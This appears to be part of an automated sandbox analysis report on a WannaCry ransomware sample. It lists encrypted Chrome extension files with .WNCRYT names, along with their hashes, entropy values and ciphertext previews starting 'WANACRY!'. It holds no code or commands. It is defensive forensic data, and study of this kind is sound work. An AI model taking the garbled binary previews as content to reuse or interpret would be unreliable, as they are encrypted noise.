                                      Category:dropped
                                      Size (bytes):3656
                                      Entropy (8bit):7.949271040392502
                                      Encrypted:false
                                      SSDEEP:96:oxgfhWOkS3FfQrH6GU8BvGjvi8eWeznS01F:jfhcSRMU8BMeRznF
                                      MD5:2A88D5C531919529DA9A8DF3183F178D
                                      SHA1:2B29FD22D2184B58CF2AF996282B3EB2AF5C099F
                                      SHA-256:F7222296FED8C7177A30EF1E260944E35CD104A78A646DF6B8C722975D83EA47
                                      SHA-512:AEA4DAB7E7D0E9B9C880FF4B7CE3EA39234B29CBD8E100BE23AF371C594F3DE8A194CA91A044E22D6D379360F0F02BC9F74FD66AC68EB5D8F5E1A0CF5A186E27
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....8..w...J.I.V...p.L9.u.HaK..e..>...}..m.....P......Oe..n.>.....^..r^.y.}sQY.LY..8.n...\aIYp..B..0W.>T^['!../.txk......?.... R.0...l.-..O..n...T..&....ky3.;.C..}......_.'8..;.l...h=..=.._i..~$`Z.....s....@k.].L...e"nU...;..T.Ws..!..>.V*.r...@;S{h....,.........k.......H.7p.7.dk......C`Y.[.'j..L.}..GR...^O.;3.F.....\n..Mb.d.N.......?|....8.k....R. ...b...0Ih......h...L....}.....2f........mo.t!u....S.....;.....:...\j...&.Z...}+>K.......VL..c..D.s../..*...A..c.Bk..,F...I.... J..m.6'o..K...MY...-"...y.{9Yo...7f+...../.q.....@..y%.2.f.. A.....T9.1I?X.~.w.. ..$R...qnnx<u.C....../.{.&7DM7..$._..$.<......!@fe........g...]...g:.qVG##h.................:Z.y.t.<....r.^.....F"h>N....x.Y'...~..K.G.c*g..OA.m.......U&..*l&.d.2........I.:.....j..DS.,..)=4..`w......B[.=..B......Hl......2..N8'.g.wI..n.m...y...[*`1p..hS....O$*..W.;..S..4.v.{<D...$.F}..).S.....Z.+.D,.x%.....b..........Nk.Z$.k........_...^.IP[.^.;...WKF.j...&...O....@$..B.....

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\icon_16.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):440
                                      Entropy (8bit):7.45135023223642
                                      Encrypted:false
                                      SSDEEP:12:bkEZt+MLppJ+4E2avn2mhZhqDZKMVCQpDnxfUo2:bkWtb5+4bmhAvgQJCo2
                                      MD5:42F271261E2D834228237D3956BA09CE
                                      SHA1:C02E29B007F6F578F348F3D159EEF6D77A6A3369
                                      SHA-256:4FD4CD7D584C8611B3A86E999C894C2FF162C09628E5E6516D8A1F4909FCB029
                                      SHA-512:B454CCE9EC05A3A6070958232CDBBE27687C96D30445B9CAB797C7003BF5DCC3C5D8207A9B65277188494DCB3029D7CABD3E61B5CA339E9A0E7509EED926D47A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......Ie..s.....N/...3.-[.. .....oCT....`.wS.h......r...l-Kd..\.U..d.B....&.....C.xc.....q...3F...."..T..o..M0.....}SZ.n.....v._s'.b....].PJ'...xc.......D4Hc.... .A.g.g...4z.X.[|_..q.}.K..0...G..z(..g..GC..9.6.*..C.[.[..BY\.@...s.#...6D...............^2.gI3.=#..*...O...`.g.A'S.F.h_.Kf...z..g......7..'..!..}..#...`+eZT....91...,x.zHm..P.`.....SiQJ....}.ru..?.t...O+).m....-....G...d*..i.k...=.TSd.....

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\main.js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):376
                                      Entropy (8bit):7.321787248222353
                                      Encrypted:false
                                      SSDEEP:6:bkEyBtdFYy6Ph61zUftE4+/IdyuUNFKFBD7zCOTEuyrZI1ul/M7RsntqjcLQZNci:bkEMz65WzOtYwwFKFBzvByrZIEtM7Knw
                                      MD5:C2F5E10804D61B96DA11BB4615B090F0
                                      SHA1:673B9FC9E5DC2959DAE039B855A2AFCCBF194F14
                                      SHA-256:03E0D5852E32DE2D104A2CBCF6887BC63AF68A71947B1764E7916F56DFD65A95
                                      SHA-512:223A9916BF30214B212B6D7D18C3935F690BA5BAD303618BD90E020055CA49F3C889DB0B267328B5C9FEBBCC9ED5F43739B3509B3EB253D4345C0A32A8006D60
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....GXB..=8.....v.(..5.O.....e.eS...R.PV.....{.gu@.}CT,.....H.|@...je|.|.....5...6.k.d.p...i.-......{8v.&~v.?~Y.....f....9.l...$7S.....6....'p.`.d..>c.E.V...g........k..................P.....+P:....qN*.4...}c.U1O..Q,.d...q........};gJ.Dw9C.+N.4..N...b0...._........P.q.T8...h<Z..Xj....6..1....F.veh.#C.;.<P..U|.l......(^..Rg.i`....o..9F.\.d.<...N....Y...^.

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\icon_128.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):3496
                                      Entropy (8bit):7.936953397490034
                                      Encrypted:false
                                      SSDEEP:96:oqgLeXubVkCRqdtDoZDgitFZa3Z3czN9ovXW:/8e4Vj3Z3zZYZGN9ovW
                                      MD5:FCD14227CD57328BFC8F9876DC242146
                                      SHA1:02AD4D9CA710B6414E70776212F9BECD0E642565
                                      SHA-256:388F485BC5F4DF38288DBD73120A1361BC21DED17C6CCE8DA5824DA3ED9CF5F5
                                      SHA-512:F47140C460491852886975CFEF77DBE62F35E7A634EE9E76E70C503CF5B346510EDB1828B219E0318AC8CC4C5F155FC3623DD3706C8E9E0A10EB0FB3FA787C20
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....6..U.J...@#.+...e*...H..S.R....H.$"...Q..}.......D...@k...?,.g...?];.3..AU...]X.K......v:X...}.Ab........H1P...|...cjs).N........(FKz.7...... .....d...OA.....>R.d..*.!...Z.K^.......O.......d..d.(.W.~..Pd.........fpF..d]...B.,;.Af......4.......l...7............)..I...Z...%Pa.....0.X.x".....NC<.L?.(..|...`...70-@.......T.]7wp./Q7..Xx*6..u.m..J.R..?cG...e.b...d`...k]\R.....W..=<..n2A.&..Y.%...2..{....Q...h.g.E....3...Y?R5....vOsdx.../FA.@-D....6>.&..Or.........[..^.K.J.`....j....N.q?$.b.2D.E.|.d;{.k...u....[.x..+.?.zL...N....7.N.{=.5....J.K...H..^......]....eR.T..I..JN.}..43^f...j.`N..f~.[|..A.~jg....`^J.....|..u.....@...G..L.l."s/.50.K......1.2.3.I.h.../..Kd.Gz..K+....,K.6gu...*.xx<.f.2......w...05..t}..7v...E....._O...t.....%T./...l. Dk*...&M..hLc....p0.".,.b.>....H.....F..)pc..&.*<~.7.W...;0TM..x.s../..D....n.S.....y.......p..mU4....p...|#.i...G....rE4..0tUi4.&.$.,su...|-.@..,\-..XU.?.Q....G].v....<.)=...Q....H...;H)......q=z....

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\icon_16.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):424
                                      Entropy (8bit):7.441648920675269
                                      Encrypted:false
                                      SSDEEP:6:bkEQKN0kP9xRIoV9EO892nn7OmheMHWKWBZt9OtQeo3/PNG7wgsf3nxbid7c+QFt:bkEfmgNDRHqtGI3xG2DFisb95534+
                                      MD5:D708CC9E4E81D2F6C031D2DFA197919F
                                      SHA1:6CEBDFD19CEDDEE2BD0209BB47C9FE39814C28DA
                                      SHA-256:3EA9F62B4EE18AE08C949DF28801715F66127F3173D86D2BB6FA98EC4D6FCE36
                                      SHA-512:3A41B55743171998B124E82DF76743068C20648AB4FCE790DA2C21E7D86D67BE923700523529EABE5EA8A7F9D7C19FF8A2139CD36983EEEED6DF83546F34EE3C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....x..H.`.!.y..c.3&%.L..A)...."...;..d....b.0...F.....#.....7M...BK<w......5N..|iQ.....W.Kx).\...:0....@h...^...Z..-U.....x.B...........G.o|...a..../..........jc..\.....Q.,..iz...=..Mg.]\..."y]<*C.J...:UM..I............m.!...M....C_}.".......................d...x..+s..>.....iu.N....X1WF.1c7.C.O......n...E...S.R^..W..Q..S.'D.<V....%}!..tXX<%.KS....u.M.x...'L[&.r.].p$J." ..5?.i....dq.m..

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\main.js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):376
                                      Entropy (8bit):7.411200265544745
                                      Encrypted:false
                                      SSDEEP:6:bkETzYqRmmTPmQMBOBYrzcIl7OV7wzvAxYa1TinyCEBh3HqnQ7o/:bkETzBmTwBYvrusXaFi2Bh3Hls/
                                      MD5:DDCC5E97BC4821FD4B0D3428CD94BEBF
                                      SHA1:B65D9685B6CD5220B6A007EB21EB65124FF59D0A
                                      SHA-256:C798DBE178E91DAC8D82E3BAE46A794F08CE32271E176BFCADB8BD3E184087C1
                                      SHA-512:D24CC46E30A4DE1A1596FFA9F0AE62549EA65F9E7D02893EA5CB0088CCB1787C17055CBC5CC08C3C6FA5BD50B06FBAB0F7618D3FA50D21ACF206859F6678B006
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!..........iY........B../d....xu.S....R.}....n..AM..'.<.-._.."......f...t...+...e.}.A/....g(..I.....^.HR.h.e.$6..).m.^<.s.-!..M.=..C+..e..8z.<{.Y....N...#......B.......G-...-..*sv.....r...ki....Y.].J.D.D<..A..(.%.s..a...k......U .F.c.....~...K0.%xsp..].;....[.......sY^...h!3....g..b@&.n..+..(.z..0.5P.V).d.5.r../ z...D!.&|U?.I...7I..GwMr4.]...e.../..K...Z,L

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\128.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):4200
                                      Entropy (8bit):7.951339218080508
                                      Encrypted:false
                                      SSDEEP:96:otPnB3YS9YgIWpDYsff0x1RehnvyFOUrb+EPX7:2nNJbxYsf8x7ovCzn7
                                      MD5:44D1794FA1DE9F62E70A1F8804420CA0
                                      SHA1:54BD6AFA788B5DA8E04EDFDC07FD1A5AA12E5E5C
                                      SHA-256:69D3C64D63216D67EEDE570F9FB4081023D1FAF88E3C6B2D8DCBD4A315491A5D
                                      SHA-512:2C4B332A939078B99835DCA17A3E83FD25B812BD974CAFD8D8288F380A4B7DA6DE98373BB9A9610B3414D9820106ED34F564C2541B3EB6D930084ECE86AF0A3D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....g..".".....d.-90...X.A ..6...Z..pnIf+.....L#.c..<Y...4.....%..XC8......,b.L.w.e...O\..\LM/......E..e(|q..(MD..R...+..~k.A1.;t.I..._.[.}@..z..cX.!......3.....W.;J.Mt.....Zi.L.J<..E.I...A.......6....a..>.{.....h.{X....\q.d:].....01.......TIZ..n`.$..:....D........0...C.p.......7....$.....<...JU&....l.....|j..X.F.....t...+1.!..}.2..M....&..H..CcT.....C.D..U.p..;\.Q../....\9YI}H'.r.4.X.....3..v.E.+@T.,....YX.yt`...^..U..'X...\.E.Rm<..6,.2...".q8.Ez&.2.|....toAl#/..."..>.....C..DO........i..G.L.9...o..r..wD..7;8S..MSK.....L.sC.E#(...n.<..-.W.$.6@./..4.....G.8.ha*,Z...9...8W...w..S@.-...e...C...*....J...`Zg..s.X.b......L.F=R..h*...F.&.@...I@..m6.. ...<T.H^.9emt.0..r~.Y....K.....U..v;.......Z0..E..g.._G...*.......1....1l.w.."...o..m}.....5.l.......t.....L7d.|..!..6i8.G...E}4.Ln.<?......:L...>UMF.4..........ba...C.^.K.\...T..L..S..L0.>.0l..O.:2.0hP...i.j.,...Z.=.8..Zi?XwD.3 .<Y])..[.y...v..E...K.i...!8.......;.\WXWE.5rd.2...h.^..X...0_..

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\128.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):3688
                                      Entropy (8bit):7.9604530491063175
                                      Encrypted:false
                                      SSDEEP:96:o9esVsa+Ie/64o7zsSyUdJPLYOzX277ibG8Cz2YX99ep16:m0NXidJPLYOQwnut9epY
                                      MD5:89A70EA445DA32EC14639227788F8ABE
                                      SHA1:3EFB165C535B8ACAE0D92A7D3AEB3A61891C9F51
                                      SHA-256:4DE5AB91391A91353DDFA97C7D5E7BE119D8D0E8F4D76194053ECCFE5A4FA605
                                      SHA-512:007501C3DBC46054338FD4A51C99AADB9C22B35D705AA0B075246254625D3D96CA14D1C1097755EC9B19C285DEB1003033ADEA73285DE0497E781D01D32C3036
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....BU....P...Af2.Kt/<.............^@?{.../......&6T...|....e......ngIR7.(8V"d.4m......:.3=B.hp...v........+...0.r.U5.....g`....O&../hE.)-1.~...43s.f~..D.l(p......R..*J..jE.&.v...U.L^.\........*...o.r-......^..3. ......@..kk...O|...C...4....$....M.........K..o< .....%...6If..1P.5e.W.....y<..UNb...y.v.epd1..c..Q...6c..yY^*F,(..u.!..*.WG.....^.......A[...z.C.....n...]..i!.u...r."p..F...9_.S":..{.508.w.x..@vin..f........0.j-(..%.\P.e.Q.....!b.L..,>5..z..M...8].j3..$..:\H.R.6i..m6.Z..{...A.*.W|...0....(.+.$..9.f.Knu....MsE....7....Ih...V...%.a.>..gFqy...G.....8...$|.3lP..q..G..Lp0fV.(.o..g.6.......2....@..r.".....E....).M..p.S_@......I..n.....j.g....:;...Z:YXI......eyI.P.....l<...^.&k.eM..'lu.....+1..O.J.i..y...&.mf7.....2.......a..k..i..T.....x.....m..n?.e...#...xe...(. .>6e%.i..(.3D]..Sy.P%..nN.{..C.g.b.'.0...y.}bj.A,......7......(^.*.p....0....}......ZPQ......:.....W98N....hk.......Jt.]f...K.5...N.... ....<....j...Y..MF..J...P.

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\icon_128.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):3688
                                      Entropy (8bit):7.951754645823801
                                      Encrypted:false
                                      SSDEEP:96:oTGzBFaj3RiEtspJe3yUQj7DiJqoWZRIRZT:GGz3ajwPpJe3yRj7eJGZUT
                                      MD5:A2A7514C56DE365746B44998BBB8F47F
                                      SHA1:4F0B948A73E226BF3EBEC50EC6F21286419EC8B4
                                      SHA-256:B712C9FEB5CE213F78BF02D7E75F2D2567F8C65DC9B62DE38402EEBDEE8B54F0
                                      SHA-512:EA29C9B8D66731DE48EBB81FD4AE2E4359DB27D3F047140D20A32F22DD778EF6048DC1EC5E91677F7D76549D2304269EB76D2AED0459CCD4BEB55E6978629EA4
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....sB.K....;9/....9..Qc`...B.u....q.`,..A..o....st;......_..7+.....[v.@..>....KY!.^..:.g.)l...}W6c..t.Z.QF}.Z_..ML....{...rT]..L......6.Jq.i...o.x...b.v...^3.;2y....?.t.Pos.s.i=9..%A.Ty.,...."X.<.>n../.0D...7_k.s9.k.WY].."ZxK.L.^........7.5......E~.....H.......j.^.pR...3_nrq.....<e..\&......qx|G.XB.......C;.m..%..qY..2.KL.K...p0..?H'~.....prG..m8../..y\:. G.w......C.X.\..5.]./..G.._c3..X.........-X.......$.(..g..8.[.d...a.....`..fH.#..q.........'.E.p...bK5.-.~$-ia...k....%..2.Z.:M.r(6...3OF. ..T..w..;...C.A.b.9..&}..g.?..6......:n.T.\..e1W.>...."....e.....S....h|;h.S......x.N.L.G..cK[..5#.T...a..H.t.g...{'........T..6..W...Z..6.n...=G....;.*5.M.3..a....D|..-'<S..o=p.....V+.F...z...*.k...{...m$..E..y..x..<FF,.Z....".L...O.b.q\.....U.[d.;.O..O.$...!]M.2......$lP.{E)..:...G./5....y......${.[..JY.,&......d..\.....=.|.apS.5.c..Q........i..df-{,..{......}.45.m..@[.../..*p.=.U...L$.......<K..g.`._J.~.6K.+s...=m...pl`&......-.{.-{x.{.

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\icon_16.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):440
                                      Entropy (8bit):7.465263627340988
                                      Encrypted:false
                                      SSDEEP:12:bkEYlhkvKabPPEu+kGbxV9Aa4qUj1h+QqNH:bkxhEK5uHGdV9Aa4zph8H
                                      MD5:7389867E0228AA8EB6BD670DAD2C37B1
                                      SHA1:4E1DF4CD44CB71ECE54BE3FC832C63D0051B9C6B
                                      SHA-256:10741DFC52D8FC96D22351333528ED56FD4BD53BCB294EE0E789D016507D2298
                                      SHA-512:4BF22D202FFE1CA6DA7E2E3EBD6D23F2314416E103F1B5B7092C06F1476A7983EE191D0EA4A5EE345744FABB41580F600048F8C074E18E93FD9BC372CA09F0E0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....o..2.R..@_.......D....J?.>...t..6.....G.8U=....'....z.L-..o.>.y.#....I;W..}Q..e...$.rh.}.N'...f+.u......u'|!.n..U%..,.r%0...?A.3...U;...........,.IU.{@.J`/".....P.EA]..j.<...9.;SCwpe.oe.......5..$..|.s.....b....j..yD.).....|z.S..b.........aW.?.............o..g\..nk.4.!,....."....[.h.N5.r....T.e...@.nB.>T].'.h>..f....t.;I.G.<T.<*...........;..%..."..nO.M].mKwzzr...+...`l.$t$..D...=.uO...5.0..-...2.3....+."QZL

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\main.js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):376
                                      Entropy (8bit):7.336268214812929
                                      Encrypted:false
                                      SSDEEP:6:bkEckwpvi9r6qpl6ERiZ69bvERRq0Y0oRgY36qLwGhIQ/Oob03uY7qfm/hqDW75n:bkEV48waPvERRqqqgY3BLw2IEOob0efI
                                      MD5:C3F1F0C54D642DB716D669AE0B707AC0
                                      SHA1:61DEE865A64CB156C34814F5C0993761A8F45545
                                      SHA-256:116A9FA163D7A62783136BA410C1BB29DE840BF3FB18FD1EEBE1458C4B6E687E
                                      SHA-512:46F0D58624F4A71CB84095B0804ADE131D9DCDF3AE01B2F37AA93A1A41B1090131589BC481EF1B96ECDA824C34548EFDB71CABA5E9CAFBB363EC824EAB0F8C84
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....F...IP.......w........8..i.Y.......l......\.)R.$@.m.k~.bX.....z."..=.T..fE..gl:...Q...2n...>....|_.P9..y.....W..+%Q.^>...+.Pj+K.J..Xj..A.=7..1e%..........1I+b.....E.J/..C...u.\.vG..G>..7o.....5:.D...pW.c...^.g.|n.. >..E.@_......h....20..:....._.......m..O..N..Q+.......s.wW.7.m.k.\....\...c.9mk..~~jN..$.........D62.....%.^...Y.[C......./.:.)

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\128.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):5272
                                      Entropy (8bit):7.967963786065255
                                      Encrypted:false
                                      SSDEEP:96:oeQ3asg/w5PxScYt6kpmWW9/0arX+CdqrCHDayYHTzV4dycUZHhYIO+LEsqBd9Z:K3z5PxCpAPrrOCdquHDqzKdycUZBdBa
                                      MD5:E7F90CEB756419CF9E16B016ED089F43
                                      SHA1:D407B174851DDC7649C1B2AE9E442274F750DE15
                                      SHA-256:36E8E6AD6E018C828538A138020E22986A0F13492E3138B1FBDD50B8D7B20531
                                      SHA-512:4D2EAF126DF410649EC1F42A7DF5048147758DA0713E04084520558880EEBE880ED8116C65671C01D109377D62AA49CE84050A6EB57C59D54D27D9221F2181A8
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....*.t.j.c.k.<..l..Y.,D.........'..x..s.>X.eJ....wg|.j9....+=.z.i....f..;H.Y....5.....O....c.#..7....xn.x.[.L....P...]..F&..%..W..J.#...F1"..v.*.h....-.....u,1.yo.S..7I#.NY.C...a.xC@....TO..`..1...v.....H.V1l.. 3ds..^....0`...gzCc._....Q;$y...%..f....v.......cm...X....,.!...:..:..T..-Q9?.f.S......i.Ng1g..a......[.~1K{....{8....|...._#.'|]. ...=.F..{.&.O...x.)..3..5.$(.,:...9..|..E......>..)....*W..ad.#.-.M......vz.LK.......T...^......&B0.].ip......:....Bl.\.`.%g.u...oHe..c...MD.....zf.G[lZMbI..g......%...]$j}G`.....*0200...O8]..v.lk....>X._..40..m...t.!...h<...e...?"....N.5j.}Q....>k.......n..:...y.4c......lq...+&..v~.....#k....DN...RH.@.....t..].e3...K..Tg.d.@.....$..+=.A.#...........8x..0.?P..@j\..LP<.(F.n..Q..}....kbB.G...........+=...VnJ..]@V.....2V.R..|C.u_..V....,.f...ez...u.....H.r.4..}e.@Aq..O.>..u3........w.)....o6..v.....0U....-.....^ =...yE..";.b=...c.....$.'.$..w)E_....p..x....P..\.....6..`......)....w.=9.....]Y.

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\eventpage_bin_prod.js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):78504
                                      Entropy (8bit):7.997264944897379
                                      Encrypted:true
                                      SSDEEP:1536:8/PDvkccGz9CIPLujeUz/pTIBZ6/nN9fniaI/n7xpiXz:sAGz7KKwxYZAjKaI/nHGz
                                      MD5:5D7E8E0AB722FF84251F943A0A37465D
                                      SHA1:C4386140FDADDF4B06AA9F8C882716F9780F8FC4
                                      SHA-256:7377A178878F7F8FDEA74D3A7175F73B35F23A7D1DF6B4D2B9FF1743177A2F8B
                                      SHA-512:71114E497D1D347537FC8257BA37B97BB28153BA92506C013476911CFF3AA75ABB1530834A366D7B07E6E95F48B6E76963CC6F1F5A143C612303190D0DAC82F5
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....M..U6...u..w..Q9X6.........Lu.......l.....F..J. aF..>.W...u..... }...o..{.b..g...0hy...qk.~.../..ic..o=..c..VGj...P'."....7U.]#!E..F=.c......}L..)..^.E.{7.Q.`.......A.]x......`...1.~.+..8.(.jk;S.!.cK ...q.X.3..!....k.h..+.9.........V..)e2/.....-.z.m.....1.......N..0.... .S1..]....5....w.*...vy.{odH\_..I=..U..(=..s.c...,...}......B./D...u..'u..O...@...xD..I...1..o["W{.x6..XTa..6.I...c.U.Iju......X...j..g.....O....$...E7I.n.@AS.gN.6...#.9,.}.QD.G..Plhu...P..0..&.$.Dv.o@l|....hT8.n..b..I.*y...V..jqM.+.s.`......e=.~....Z....gQ1..."....YO..f..M..`.....V.. ...d.F..qA.s.aC..p..;`1..+.]K!.OM+SVm.7.z/T.F..:J.?.{{B.7...P..Y+U..k-.;.....p..D.3..V.\..1.LZ...?....4H!.B.n'F.jc..$W9.K..]p*......m.|...B...)..{.S...f...I...q...]ygk..p..;...X....z...9..").!DK....<..>Z..]...H....XX..1...Y.9]......C.s(f.>..3A.&8.K..u.........D.s>..n[..;..Lx.W:..B.B.XrU.:....O....rb.x....'O....I*.U.u.GGOY....(..)`B.c.........|...X..P..-..~...#.J.D..O...k...O5$.n;o.t...

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\page_embed_script.js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):584
                                      Entropy (8bit):7.605336997683259
                                      Encrypted:false
                                      SSDEEP:12:bkEYKoNeDL1msQaTqfsbUuJk7dltcr064zm0gDYhSkIijSjQumx/D:bkXve/0aQyUu8Dyr064zkYhS7mS8umBD
                                      MD5:C8CD7D12EBE81FE541DE15DD94FE4AB6
                                      SHA1:29034F140C9D6C76E34146FEC1906D6B5393F159
                                      SHA-256:2B928915B6209369D67646BC72A48DB5B576F792A82EB1EFA59168D7EE085225
                                      SHA-512:DFF117ECC910BE5307878C69DCB4CB86049C6BB7FAE5DF5F6C5695DBCB7BCB222B9B8AED304F3F81B34DED8630A7249FE035F4970642A769C6E438AAE445DABD
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........D.'...n...{..Yo...y:..H.IM..9Qc,.u..kr...b."|.L..6...FuV..........t.M.@.NJ.Yv.S......O..Y.e?....*..N.;.S.R...e...p.0....V.@.G.....I.Au.'1..~....V.5.m...je!..Ud.....e..QieU0...:..4..f.E....c.OQ{........U~.6..bE'L..w.C.....]....y1........#..........h..y.f...Z....A...=.....x..x{R;Jgq^..l"R.v$%...:&....O...4Xxy.'*.....tfh.wO;C...KH.f..N......WW._..Q........%y..........H.....^!.....s.{...#..%7..l...*...3..>.;.L....~......Y..7..5QJ....|tB....Y.K7Bm...y..@...[......PW..Lh}l>.'.%.3C.].a0..bY....=...<...].H...d.{\..^c...8.;.....

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):544936
                                      Entropy (8bit):7.999735301907818
                                      Encrypted:true
                                      SSDEEP:12288:imdFn7wy+JUIUXAEFzENbq4D2emzggTka65b4267aoQ1z:imdF8yS56GBq4ae9Akafu3z
                                      MD5:054CD8CF8DB960D692FA55D8E1D3056D
                                      SHA1:9D27AEB245131E5FEA98F26F41B7CD6D6CDA7C0B
                                      SHA-256:FB1BDDD54283045AF5F2644C372E59EB9E9604781FAAB96DF128E8B1868FF066
                                      SHA-512:B6C98B91507FB8F75018E69423DBC3D1EE4DE10EC41CB049DACB5FF6F0B98FDD48B70119D6D03C9FFF3BE80BE26561F6E80D8DDC03EC3019C445CED62B0F7BC5
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....S`.........[..a...Nu.......]...X....n..(..@"...'B"...w.r.m.].HN....[......I..*o....E.;G.VtG..*,m..k...|.:.....p.40t...T....1..9<.z..L.m..w:....XAS....*\y..~...f.,]...f.je.|r9.Az....h*..y...@..E..~.-...xl~.......-u.i.;.B..Z..b..7...F..8..R.2P.}[F.Q.0.....O......l.}J.]...3q.vU....4.a.....qt2.i....R.H.....F.M..`.T.+{.]......r2$..O.c,.E.V.$...1.Q..RM...q.2...9.Sv.n.......y..*....?.xhg.&..[......@..........'..>.r.p.0$:d.z'1.d......_.j.4.2...=.9^..W.!\...4......M......A....3...0..F`R.x.;...k..~....gK3.d}~...{ll..<.O.J...L.Ev....9|6cAq.(..J.M.d..3/r..Z...J......d.L.....c..qBd.Q..c....s..%....O...s....../.....N....h......{. ._..M+..B.<E...Y.1...l6..A+.]~.r...2e...5.+..Y..p..a?..'..N.....I:&.{\,j...`..=..i.2.^.>.i.'...@G..].c]...>@.z......B..9.....|.........x;.......D.BsK..w..v....U,G.../.=^...X.............+.n$..p./.~..<..k.......jO..x!H..L..A;.....#..j.04.&.$.....>...$.4.......;1ns...$..$...S..q.%S..x.2N..3A.l.=3...>...~..k.1u..2......

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_window.js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):261608
                                      Entropy (8bit):7.999231980723937
                                      Encrypted:true
                                      SSDEEP:6144:+byyc6mVRRPPBlNPXs8w9G/CnvS7Fa3Wa1C76vlVAMVe9Kwmt+EHMDKp:cysm7tp3Pc8wGQ1w7xMVMKJsC
                                      MD5:3C67E717ACBCB402A545828D2E2E13F8
                                      SHA1:51171152E74BD50ABDE0B4985041581AE9D75A1E
                                      SHA-256:B2A9FAB7D52733FBFD6F0EC2C02931D96C2D6C840721F77D58223F0CA502518B
